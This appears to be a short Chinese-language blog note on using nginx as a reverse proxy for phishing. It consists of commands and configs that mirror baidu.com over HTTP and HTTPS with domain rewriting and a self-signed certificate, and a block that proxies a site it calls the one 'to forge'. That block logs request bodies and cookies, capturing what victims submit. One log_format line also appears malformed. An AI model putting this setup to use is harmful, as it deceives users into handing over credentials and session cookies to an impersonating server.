nginx反向代理及钓鱼应用

fuser -k 80/tcpfuser -k 443/tcp

server {        listen 9999;        server_name 192.168.23.135; # 你自己的ip或者域名        charset utf-8;        location / {          proxy_pass http://www.baidu.com;          proxy_set_header Accept-Encoding deflate;          sub_filter_once off;          sub_filter www.baidu.com mirror.example.com;             proxy_redirect off;          proxy_set_header        X-Real-IP       $remote_addr;          proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;          proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;          proxy_max_temp_file_size 0;          proxy_connect_timeout 90;          proxy_send_timeout 90;          proxy_read_timeout 90;          proxy_buffer_size 4k;          proxy_buffers 4 32k;          proxy_busy_buffers_size 64k;          proxy_temp_file_write_size 64k;        }  }

mkdir /usr/local/ssl/openssl req -x509 -nodes -days 36500 -newkey rsa:2048 -keyout /usr/local/ssl/nginx.key -out /usr/local/ssl/nginx.crt

server {    listen 9998 ssl;    server_name  192.168.23.135;    ssl_certificate /usr/local/ssl/nginx.crt;       #证书公钥    ssl_certificate_key  /usr/local/ssl/nginx.key;  #证书私钥    ssl_session_cache shared:SSL:1m;    ssl_session_timeout 5m;    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;    ssl_ciphers ECDH:AESGCM:HIGH:!RC4:!DH:!MD5:!3DES:!aNULL:!eNULL;    ssl_prefer_server_ciphers on;    proxy_ssl_server_name on;    # 下面这段location配置是关键    location / {       sub_filter www.baidu.com 192.168.23.135;       sub_filter_once off;       proxy_ssl_session_reuse off;       proxy_set_header X-Real-IP $remote_addr;       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;       proxy_set_header Referer https://www.baidu.com;       proxy_set_header Host www.baidu.com;       proxy_pass https://www.baidu.com;       proxy_set_header Accept-Encoding "";    }}

server{    listen 8081; # 监听端口    server_name 192.168.23.135; # 本机真实IP    location / {        proxy_pass http://192.168.23.1:8000/; # 反代的网站，即想要伪造的网站        proxy_set_header Host $host;        proxy_set_header X-Real-IP $remote_addr;        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    }    access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置，testLog为自定义的日志格式}

log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;